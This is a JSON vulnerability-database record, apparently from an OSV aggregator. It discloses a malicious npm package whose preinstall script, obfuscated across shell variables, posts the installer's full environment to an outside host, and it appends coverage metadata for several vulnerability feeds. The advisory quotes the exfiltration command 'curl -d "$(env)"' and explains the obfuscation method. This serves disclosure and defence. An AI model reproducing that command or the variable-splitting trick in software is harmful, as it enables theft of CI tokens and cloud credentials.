{"id":"GHSA-pj66-3vwh-cgm2","revision":null,"records":[{"revision":"2b6de6ca93df4916a699a5ba9b57fd66","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17653","aliases":["GHSA-pj66-3vwh-cgm2"],"title":"Malicious code in abbishal-poc-as-dependency (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53)\npackage.json declares a preinstall lifecycle script `sh./test.sh`. test.sh assembles a `curl -d \"$(env)\" https://abbishal.com/sh/installation-success` command by splitting the tokens `curl`, `env`, and `-d` across single-character shell variables (`i=c`, `s=u`, `a=rl`, `t=en`) and reconstructing them via variable concatenation and command substitution. On `npm install` this POSTs the entire output of `env` — the installer shell/CI's full process environment, including any exported secrets such as CI tokens, cloud credentials (AWS_*, GCP, Azure), and npm publish tokens — to a hardcoded third-party host. The README asserts that the package performs no network requests, no filesystem access, no data collection, and has no preinstall/postinstall lifecycle scripts, directly contradicting the shipped manifest and script. The variable-fragment obfuscation and the cover-story README indicate deliberate evasion rather than a legitimate placeholder or canary.\n\n## Source: ghsa-malware (4e09561cd1ef0eb96fc2797d95fd0f6fb63fab28fe5b207351a2311ad7df0b78)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-10-08T03:36:37+00:00","modifiedAt":"2026-10-20T22:30:05.3666922+00:00","affected":[{"ecosystem":"npm","name":"abbishal-poc-as-dependency","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.3.1","1.3.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/abbishal-poc-as-dependency/v/1.3.1","https://www.npmjs.com/package/abbishal-poc-as-dependency/v/1.3.0","https://github.com/advisories/GHSA-pj66-3vwh-cgm2"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17653","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17653","identifiers":["MAL-2026-17653","GHSA-pj66-3vwh-cgm2"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T12:04:37.5111605+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T12:04:37.5111605+00:00","lastSuccessAt":"2026-11-08T12:04:37.723623+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.7236261+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-2b67187422a694a3d3288b6a1e28326b3060bb18a3ee01d9be7309c46446a822","complete":true,"records":421097,"lastAttemptAt":"2026-11-08T12:04:36.9953395+00:00","lastSuccessAt":"2026-11-08T12:04:36.9557955+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:36.9953395+00:00","snapshotPublishedAt":"2026-11-08T11:26:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-86f25219fb644e6286aef55d85e25bf2","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T12:05:08.2403712+00:00","lastSuccessAt":"2026-11-08T11:08:04.005+00:00","error":null,"lastVerifiedAt":"2026-11-08T11:08:04.005+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T12:04:37.5111605+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T12:04:37.5111605+00:00","lastSuccessAt":"2026-11-08T12:04:37.7247541+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.7247552+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c8ab24cce7724539b5148423668d4a8d","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T12:05:07.5124328+00:00","lastSuccessAt":"2026-11-08T12:05:07.509+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:05:07.509+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T12:04:37.4138776+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.4138776+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T12:04:37.186742+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.186742+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T12:04:37.4417198+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.4417198+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T12:04:37.3024645+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T12:04:37.3024645+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}